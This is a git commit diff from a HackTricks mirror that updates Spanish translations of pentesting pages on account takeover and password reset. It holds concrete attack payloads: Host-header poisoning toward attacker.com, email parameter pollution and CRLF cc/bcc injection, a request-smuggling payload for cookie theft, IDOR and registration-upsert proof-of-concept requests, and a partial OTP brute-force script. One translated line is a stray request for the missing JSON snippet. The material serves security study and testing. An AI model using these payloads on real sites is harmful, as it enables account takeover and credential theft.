mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting-
This commit is contained in:
parent
60c96a0983
commit
30a322bfb1
@ -2,76 +2,78 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Toma de Control de Registro
|
||||
## Registro Takeover
|
||||
|
||||
### Registro Duplicado
|
||||
### Registro duplicado
|
||||
|
||||
- Intenta generar usando un nombre de usuario existente
|
||||
- Verifica variando el correo electrónico:
|
||||
- mayúsculas
|
||||
- Intenta registrarte usando un nombre de usuario existente
|
||||
- Comprueba variaciones del correo:
|
||||
- uppsercase
|
||||
- \+1@
|
||||
- añade algún punto en el correo
|
||||
- add some dot in the email
|
||||
- caracteres especiales en el nombre del correo (%00, %09, %20)
|
||||
- Pon caracteres en negro después del correo: `test@test.com a`
|
||||
- Pon caracteres en blanco después del email: `test@test.com a`
|
||||
- victim@gmail.com@attacker.com
|
||||
- victim@attacker.com@gmail.com
|
||||
|
||||
### Enumeración de Nombres de Usuario
|
||||
### Enumeración de nombres de usuario
|
||||
|
||||
Verifica si puedes averiguar cuándo un nombre de usuario ya ha sido registrado dentro de la aplicación.
|
||||
Comprueba si puedes determinar cuándo un nombre de usuario ya ha sido registrado dentro de la aplicación.
|
||||
|
||||
### Política de Contraseñas
|
||||
### Política de contraseñas
|
||||
|
||||
Al crear un usuario, verifica la política de contraseñas (verifica si puedes usar contraseñas débiles).\
|
||||
En ese caso, puedes intentar hacer un ataque de fuerza bruta a las credenciales.
|
||||
Al crear un usuario, revisa la política de contraseñas (comprueba si puedes usar contraseñas débiles).\
|
||||
En ese caso puedes intentar bruteforce de credenciales.
|
||||
|
||||
### Inyección SQL
|
||||
### SQL Injection
|
||||
|
||||
[**Consulta esta página** ](sql-injection/index.html#insert-statement)para aprender cómo intentar tomas de control de cuentas o extraer información a través de **Inyecciones SQL** en formularios de registro.
|
||||
[**Check this page** ](sql-injection/index.html#insert-statement)para aprender cómo intentar toma de control de cuentas o extraer información vía **SQL Injections** en formularios de registro.
|
||||
|
||||
### Oauth Takeovers
|
||||
|
||||
### Toma de Control de Oauth
|
||||
|
||||
{{#ref}}
|
||||
oauth-to-account-takeover.md
|
||||
{{#endref}}
|
||||
|
||||
### Vulnerabilidades de SAML
|
||||
### SAML Vulnerabilities
|
||||
|
||||
|
||||
{{#ref}}
|
||||
saml-attacks/
|
||||
{{#endref}}
|
||||
|
||||
### Cambiar Correo Electrónico
|
||||
### Cambiar el email
|
||||
|
||||
Cuando estés registrado, intenta cambiar el correo electrónico y verifica si este cambio se valida correctamente o si puedes cambiarlo a correos arbitrarios.
|
||||
Una vez registrado, intenta cambiar el email y comprueba si este cambio se valida correctamente o si puedes cambiarlo a emails arbitrarios.
|
||||
|
||||
### Más Comprobaciones
|
||||
### Más comprobaciones
|
||||
|
||||
- Verifica si puedes usar **correos desechables**
|
||||
- **Contraseña** **larga** (>200) conduce a **DoS**
|
||||
- **Verifica los límites de tasa en la creación de cuentas**
|
||||
- Comprueba si puedes usar **correos desechables**
|
||||
- Contraseña **larga** (>200) lleva a **DoS**
|
||||
- Comprueba los rate limits en la creación de cuentas
|
||||
- Usa username@**burp_collab**.net y analiza el **callback**
|
||||
|
||||
## **Toma de Control de Restablecimiento de Contraseña**
|
||||
## **Password Reset Takeover**
|
||||
|
||||
### Fuga de Token de Restablecimiento de Contraseña a Través del Referente <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
|
||||
1. Solicita el restablecimiento de contraseña a tu dirección de correo electrónico
|
||||
1. Solicita el restablecimiento de contraseña a tu dirección de email
|
||||
2. Haz clic en el enlace de restablecimiento de contraseña
|
||||
3. No cambies la contraseña
|
||||
4. Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter)
|
||||
5. Intercepta la solicitud en el proxy de Burp Suite
|
||||
6. Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.
|
||||
4. Haz clic en cualquier sitio de terceros (ej.: Facebook, twitter)
|
||||
5. Intercepta la petición en el proxy de Burp Suite
|
||||
6. Comprueba si el header Referer está filtrando el token de restablecimiento de contraseña.
|
||||
|
||||
### Envenenamiento de Restablecimiento de Contraseña <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
|
||||
1. Intercepta la solicitud de restablecimiento de contraseña en Burp Suite
|
||||
2. Añade o edita los siguientes encabezados en Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Reenvía la solicitud con el encabezado modificado\
|
||||
1. Intercepta la petición de restablecimiento en Burp Suite
|
||||
2. Añade o edita los siguientes headers en Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Reenvía la petición con el header modificado\
|
||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. Busca una URL de restablecimiento de contraseña basada en el _encabezado host_ como: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
4. Busca una URL de restablecimiento basada en el _host header_ como : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Restablecimiento de Contraseña a Través del Parámetro de Correo Electrónico <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```bash
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
@ -88,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
|
||||
email=victim@mail.com%20hacker@mail.com
|
||||
email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
### IDOR en Parámetros de API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
### IDOR en parámetros de API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
|
||||
1. El atacante debe iniciar sesión con su cuenta e ir a la función **Cambiar contraseña**.
|
||||
2. Inicie Burp Suite e intercepte la solicitud.
|
||||
3. Envíela a la pestaña de repetidor y edite los parámetros: User ID/email\
|
||||
1. El atacante debe iniciar sesión con su cuenta y acceder a la función **Change password**.
|
||||
2. Inicia Burp Suite y intercepta la solicitud\
|
||||
3. Envíala a la pestaña Repeater y edita los parámetros: User ID/email\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||
|
||||
### Token de Restablecimiento de Contraseña Débil <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
### Token débil de restablecimiento de contraseña <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
El token de restablecimiento de contraseña debe generarse aleatoriamente y ser único cada vez.\
|
||||
Intente determinar si el token expira o si siempre es el mismo; en algunos casos, el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser utilizadas por el algoritmo.
|
||||
El token de restablecimiento de contraseña debe generarse de forma aleatoria y ser único en cada ocasión.\
|
||||
Intenta determinar si el token expira o si siempre es el mismo; en algunos casos el algoritmo de generación es débil y puede adivinarse. Las siguientes variables podrían usarse en el algoritmo.
|
||||
|
||||
- Timestamp
|
||||
- Marca de tiempo
|
||||
- UserID
|
||||
- Email del Usuario
|
||||
- Nombre y Apellido
|
||||
- Fecha de Nacimiento
|
||||
- Email del usuario
|
||||
- Nombre y apellidos
|
||||
- Fecha de nacimiento
|
||||
- Criptografía
|
||||
- Solo números
|
||||
- Secuencia de token pequeña (caracteres entre \[A-Z,a-z,0-9])
|
||||
- Reutilización de token
|
||||
- Secuencia pequeña de token ( caracteres entre \[A-Z,a-z,0-9])
|
||||
- Reutilización del token
|
||||
- Fecha de expiración del token
|
||||
|
||||
### Filtración del Token de Restablecimiento de Contraseña <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
|
||||
1. Active una solicitud de restablecimiento de contraseña utilizando la API/UI para un correo electrónico específico, por ejemplo: test@mail.com
|
||||
2. Inspeccione la respuesta del servidor y verifique `resetToken`
|
||||
3. Luego use el token en una URL como `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
|
||||
2. Inspect the server response and check for `resetToken`
|
||||
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Restablecimiento de Contraseña a Través de Colisión de Nombres de Usuario <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
### Restablecimiento de contraseña vía colisión de nombres de usuario <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. Regístrese en el sistema con un nombre de usuario idéntico al del víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: `"admin "`
|
||||
2. Solicite un restablecimiento de contraseña con su nombre de usuario malicioso.
|
||||
3. Use el token enviado a su correo electrónico y restablezca la contraseña de la víctima.
|
||||
4. Conéctese a la cuenta de la víctima con la nueva contraseña.
|
||||
1. Regístrate en el sistema con un nombre de usuario idéntico al de la víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. e.g: `"admin "`
|
||||
2. Solicita un restablecimiento de contraseña con tu nombre de usuario malicioso.
|
||||
3. Usa el token enviado a tu email y restablece la contraseña de la víctima.
|
||||
4. Conéctate a la cuenta de la víctima con la nueva contraseña.
|
||||
|
||||
La plataforma CTFd era vulnerable a este ataque.\
|
||||
Ver: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
La plataforma CTFd fue vulnerable a este ataque.\
|
||||
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
### Toma de Control de Cuenta a Través de Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
### Secuestro de cuenta vía Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
|
||||
1. Encuentre un XSS dentro de la aplicación o un subdominio si las cookies están limitadas al dominio principal: `*.domain.com`
|
||||
2. Filtre la **cookie de sesiones** actual.
|
||||
3. Autentíquese como el usuario utilizando la cookie.
|
||||
1. Encuentra un XSS dentro de la aplicación o en un subdominio si las cookies están scoped al dominio padre : `*.domain.com`
|
||||
2. Leak the current **sessions cookie**
|
||||
3. Autentícate como el usuario usando la cookie
|
||||
|
||||
### Toma de Control de Cuenta a Través de HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
### Secuestro de cuenta mediante HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
|
||||
1\. Use **smuggler** para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)\
|
||||
1\. Usa **smuggler** para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)\
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. Elabore una solicitud que sobrescriba el `POST / HTTP/1.1` con los siguientes datos:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` con el objetivo de redirigir a las víctimas a burpcollab y robar sus cookies.\
|
||||
3\. La solicitud final podría verse como la siguiente
|
||||
2\. Crea una petición que sobrescriba el `POST / HTTP/1.1` con los siguientes datos:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` con el objetivo de open redirect a las víctimas hacia burpcollab y robar sus cookies\
|
||||
3\. La petición final podría verse como la siguiente
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
@ -151,29 +153,50 @@ Content-Length: 83
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X: X
|
||||
```
|
||||
Hackerone informa sobre la explotación de este error\
|
||||
Hackerone reports exploiting this bug\
|
||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||
|
||||
### Toma de Control de Cuenta a través de CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
### Secuestro de cuenta vía CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
|
||||
1. Crea un payload para el CSRF, p. ej: “Formulario HTML con envío automático para un cambio de contraseña”
|
||||
1. Crea un payload para el CSRF, p. ej.: “Formulario HTML con autoenvío para un cambio de contraseña”
|
||||
2. Envía el payload
|
||||
|
||||
### Toma de Control de Cuenta a través de JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
### Secuestro de cuenta vía JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
JSON Web Token podría ser utilizado para autenticar a un usuario.
|
||||
JSON Web Token podría usarse para autenticar a un usuario.
|
||||
|
||||
- Edita el JWT con otro ID de Usuario / Correo Electrónico
|
||||
- Verifica la firma débil del JWT
|
||||
- Edita el JWT con otro User ID / Email
|
||||
- Comprueba si la firma JWT es débil
|
||||
|
||||
|
||||
{{#ref}}
|
||||
hacking-jwt-json-web-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Registration-as-Reset (Upsert on Existing Email)
|
||||
|
||||
Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.
|
||||
|
||||
- Descubrimiento: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
|
||||
- Pistas del método: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
|
||||
- Cuerpo mínimo observado en entornos reales:
|
||||
```json
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
Ejemplo de PoC:
|
||||
```http
|
||||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
Impacto: Full Account Takeover (ATO) sin ningún reset token, OTP o verificación de correo electrónico.
|
||||
|
||||
## Referencias
|
||||
|
||||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,66 +4,66 @@
|
||||
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- The HTTP referer header may leak the password reset token if it's included in the URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
|
||||
- **Impacto**: Posible takeover de la cuenta mediante ataques Cross-Site Request Forgery (CSRF).
|
||||
- **Explotación**: Para comprobar si un password reset token se está leaking en el referer header, **solicita un password reset** a tu dirección de correo y **haz clic en el reset link** proporcionado. **No cambies tu password** inmediatamente. En su lugar, **navega a un sitio web de terceros** (como Facebook o Twitter) mientras **interceptas las peticiones usando Burp Suite**. Inspecciona las peticiones para ver si el **referer header contiene el password reset token**, ya que esto podría exponer información sensible a terceros.
|
||||
- **Referencias**:
|
||||
- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
|
||||
- **Impacto**: Potencial toma de control de la cuenta vía Cross-Site Request Forgery (CSRF).
|
||||
- **Exploitation**: Para comprobar si un password reset token está leak en el referer header, solicita un password reset a tu dirección de email y haz clic en el enlace de reset proporcionado. **No cambies tu contraseña** inmediatamente. En su lugar, **navega a un sitio web de terceros** (como Facebook o Twitter) mientras **interceptas las peticiones usando Burp Suite**. Inspecciona las peticiones para ver si el **referer header contiene el password reset token**, ya que esto podría exponer información sensible a terceros.
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Los atacantes pueden manipular el Host header durante las peticiones de password reset para apuntar el reset link a un sitio malicioso.
|
||||
- **Impacto**: Conduce a una posible takeover de cuentas al leaking reset tokens a los atacantes.
|
||||
- **Pasos de mitigación**:
|
||||
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
|
||||
- **Impacto**: Puede provocar la toma de la cuenta al leaking de los reset tokens a los atacantes.
|
||||
- **Mitigation Steps**:
|
||||
- Valida el Host header contra una whitelist de dominios permitidos.
|
||||
- Usa métodos seguros del lado servidor para generar absolute URLs.
|
||||
- **Patch**: Usa `$_SERVER['SERVER_NAME']` para construir password reset URLs en lugar de `$_SERVER['HTTP_HOST']`.
|
||||
- **Referencias**:
|
||||
- Usa métodos seguros del lado servidor para generar URLs absolutas.
|
||||
- **Parche**: Usa `$_SERVER['SERVER_NAME']` para construir las password reset URLs en lugar de `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Los atacantes pueden manipular la petición de password reset añadiendo parámetros de email adicionales para desviar el reset link.
|
||||
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||
|
||||
- Añadir el email del atacante como segundo parámetro usando &
|
||||
- Añade el email del atacante como segundo parámetro usando &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Agregar attacker email como segundo parámetro usando %20
|
||||
- Añade attacker email como segundo parámetro usando %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Añadir el correo electrónico del atacante como segundo parámetro usando |
|
||||
- Agrega attacker email como segundo parámetro usando |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Añade el correo electrónico del atacante como segundo parámetro usando cc
|
||||
- Añadir attacker email como segundo parámetro usando cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Añadir attacker email como segundo parámetro usando bcc
|
||||
- Agregar el correo electrónico del attacker como segundo parámetro usando bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Añadir attacker email como segundo parámetro usando ,
|
||||
- Añadir el correo electrónico del atacante como segundo parámetro usando ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
Necesito el contenido del archivo o el fragmento JSON que quieres modificar para poder traducirlo y añadir el email del atacante como segundo parámetro en el array JSON. ¿Puedes pegar aquí el texto o el bloque de código?
|
||||
- Añadir el email del atacante como segundo parámetro en json array
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -71,13 +71,13 @@ POST /resetPassword
|
||||
```
|
||||
- **Pasos de mitigación**:
|
||||
- Analizar y validar correctamente los parámetros de correo electrónico en el servidor.
|
||||
- Usar prepared statements o parameterized queries para prevenir ataques de inyección.
|
||||
- Usar prepared statements o consultas parametrizadas para prevenir ataques de inyección.
|
||||
- **Referencias**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Cambio de correo electrónico y contraseña de cualquier usuario mediante parámetros de la API**
|
||||
## **Cambiar correo electrónico y contraseña de cualquier usuario a través de parámetros de la API**
|
||||
|
||||
- Los atacantes pueden modificar los parámetros de correo electrónico y contraseña en las solicitudes de la API para cambiar las credenciales de la cuenta.
|
||||
```php
|
||||
@ -86,37 +86,37 @@ POST /api/changepass
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Pasos de mitigación**:
|
||||
- Asegurar una validación estricta de parámetros y comprobaciones de autenticación.
|
||||
- Implementar logging y monitoreo robustos para detectar y responder a actividades sospechosas.
|
||||
- Asegurar validación estricta de parámetros y comprobaciones de autenticación.
|
||||
- Implementar registro y monitoreo robustos para detectar y responder a actividades sospechosas.
|
||||
- **Referencia**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- La falta de rate limiting en las solicitudes de password reset puede llevar a email bombing, abrumando al usuario con correos de reset.
|
||||
- La falta de rate limiting en las solicitudes de password reset puede derivar en email bombing, saturando al usuario con correos de restablecimiento.
|
||||
- **Pasos de mitigación**:
|
||||
- Implementar rate limiting basado en dirección IP o en la cuenta de usuario.
|
||||
- Usar desafíos CAPTCHA para prevenir abuso automatizado.
|
||||
- Implementar rate limiting basado en la dirección IP o la cuenta de usuario.
|
||||
- Usar desafíos CAPTCHA para prevenir el abuso automatizado.
|
||||
- **Referencias**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Find out How Password Reset Token is Generated**
|
||||
## **Averiguar cómo se genera el Password Reset Token**
|
||||
|
||||
- Entender el patrón o método detrás de la generación del Password Reset Token puede permitir predecirlo o hacer brute-force. Algunas opciones:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
- Based on Firstname and Lastname
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- Comprender el patrón o método detrás de la generación del token puede permitir predecirlo o forzarlo por fuerza bruta. Algunas opciones:
|
||||
- Basado en timestamp
|
||||
- Basado en el UserID
|
||||
- Basado en el email del usuario
|
||||
- Basado en nombre y apellido
|
||||
- Basado en fecha de nacimiento
|
||||
- Basado en criptografía
|
||||
- **Pasos de mitigación**:
|
||||
- Usar métodos criptográficos fuertes para la generación de tokens.
|
||||
- Asegurar suficiente aleatoriedad y longitud para prevenir predictibilidad.
|
||||
- Asegurar suficiente aleatoriedad y longitud para prevenir la predictibilidad.
|
||||
- **Herramientas**: Usar Burp Sequencer para analizar la aleatoriedad de los tokens.
|
||||
|
||||
## **Guessable UUID**
|
||||
|
||||
- Si los UUIDs (version 1) son adivinables o previsibles, los atacantes pueden brute-forcearlos para generar reset tokens válidos. Revisa:
|
||||
- Si los UUIDs (version 1) son adivinables o predecibles, los atacantes pueden forzarlos por fuerza bruta para generar reset tokens válidos. Ver:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -124,27 +124,27 @@ uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Pasos de mitigación**:
|
||||
- Usar GUID version 4 para mayor aleatoriedad o implementar medidas adicionales de seguridad para otras versiones.
|
||||
- Usar GUID versión 4 para mayor aleatoriedad o implementar medidas de seguridad adicionales para otras versiones.
|
||||
- **Herramientas**: Usar [guidtool](https://github.com/intruder-io/guidtool) para analizar y generar GUIDs.
|
||||
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- Manipular respuestas HTTP para eludir mensajes de error o restricciones.
|
||||
- Manipulación de respuestas HTTP para eludir mensajes de error o restricciones.
|
||||
- **Pasos de mitigación**:
|
||||
- Implementar comprobaciones server-side para asegurar la integridad de las respuestas.
|
||||
- Usar canales de comunicación seguros como HTTPS para prevenir man-in-the-middle.
|
||||
- Implementar comprobaciones en el servidor para garantizar la integridad de las respuestas.
|
||||
- Usar canales de comunicación seguros como HTTPS para prevenir ataques man-in-the-middle.
|
||||
- **Referencia**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Using Expired Token**
|
||||
|
||||
- Probar si tokens expirados aún pueden usarse para el password reset.
|
||||
- Probar si tokens expirados aún pueden usarse para restablecer la contraseña.
|
||||
- **Pasos de mitigación**:
|
||||
- Implementar políticas estrictas de expiración de tokens y validar la expiración server-side.
|
||||
- Implementar políticas estrictas de expiración de tokens y validar la expiración del token en el servidor.
|
||||
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Intentar brute-force del reset token usando herramientas como Burpsuite y IP-Rotator para evadir rate limits basados en IP.
|
||||
- Intentar forzar por fuerza bruta el reset token usando herramientas como Burpsuite e IP-Rotator para eludir rate limits basados en IP.
|
||||
- **Pasos de mitigación**:
|
||||
- Implementar rate-limiting robusto y mecanismos de bloqueo de cuenta.
|
||||
- Monitorizar actividades sospechosas indicativas de ataques de fuerza bruta.
|
||||
@ -157,22 +157,22 @@ uuid-insecurities.md
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Asegurar que las sesiones se invaliden cuando un usuario hace logout o resetea su password.
|
||||
- Asegurar que las sessions se invaliden cuando un usuario cierra sesión o restablece su contraseña.
|
||||
- **Pasos de mitigación**:
|
||||
- Implementar una gestión de sesiones correcta, asegurando que todas las sesiones se invaliden al hacer logout o al resetear la contraseña.
|
||||
- Implementar una gestión adecuada de sessions, asegurando que todas las sessions se invaliden al hacer logout o restablecer la contraseña.
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Los reset tokens deben tener un tiempo de expiración después del cual se vuelven inválidos.
|
||||
- Los reset tokens deben tener un tiempo de expiración tras el cual se invalidan.
|
||||
- **Pasos de mitigación**:
|
||||
- Establecer un tiempo de expiración razonable para los reset tokens y aplicarlo estrictamente server-side.
|
||||
- Establecer un tiempo de expiración razonable para los reset tokens y aplicarlo estrictamente en el servidor.
|
||||
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- Si el sitio usa la sesión de usuario para rastrear intentos fallidos de OTP y el OTP es débil (<= 4 dígitos) entonces podemos efectivamente brute-forcear el OTP.
|
||||
- **exploitation**:
|
||||
- Si el sitio usa la session del usuario para rastrear intentos fallidos de OTP y el OTP es débil (<= 4 dígitos), entonces podemos forzarlo por fuerza bruta de forma efectiva.
|
||||
- **explotación**:
|
||||
- simplemente solicitar un nuevo session token después de ser bloqueado por el servidor.
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
- **Ejemplo** código que explota este bug adivinando aleatoriamente el OTP (cuando cambias la session el OTP también cambia, ¡así que no podremos bruteforcearlo secuencialmente!):
|
||||
|
||||
``` python
|
||||
# Authentication bypass by password reset
|
||||
@ -255,21 +255,34 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Solicitud de explotación (concepto):
|
||||
Exploitation request (concepto):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Mitigations:
|
||||
- Siempre exige un reset token válido y limitado en el tiempo, vinculado a la account y al session antes de cambiar la contraseña.
|
||||
- Nunca expongas las rutas skipOldPwdCheck a usuarios no autenticados; exige autenticación para cambios de contraseña normales y verifica la contraseña anterior.
|
||||
- Invalida todas las sessions activas y los reset tokens después de un cambio de contraseña.
|
||||
Mitigaciones:
|
||||
- Siempre exigir un reset token válido y con tiempo limitado vinculado a la cuenta y a la sesión antes de cambiar la contraseña.
|
||||
- Nunca expongas rutas skipOldPwdCheck a usuarios no autenticados; exige autenticación para cambios de contraseña regulares y verifica la contraseña antigua.
|
||||
- Invalida todas las sesiones activas y los reset tokens después de un cambio de contraseña.
|
||||
|
||||
## Registration-as-Password-Reset (Upsert on Existing Email)
|
||||
|
||||
Algunas aplicaciones implementan el signup handler como un upsert. Si el email ya existe, el handler actualiza silenciosamente el registro de usuario en lugar de rechazar la petición. Cuando el registration endpoint acepta un body JSON mínimo con un email existente y una nueva contraseña, se convierte efectivamente en un pre-auth password reset sin ninguna verificación de propiedad, permitiendo un full account takeover.
|
||||
|
||||
Pre-auth ATO PoC (sobrescribiendo la contraseña de un usuario existente):
|
||||
```http
|
||||
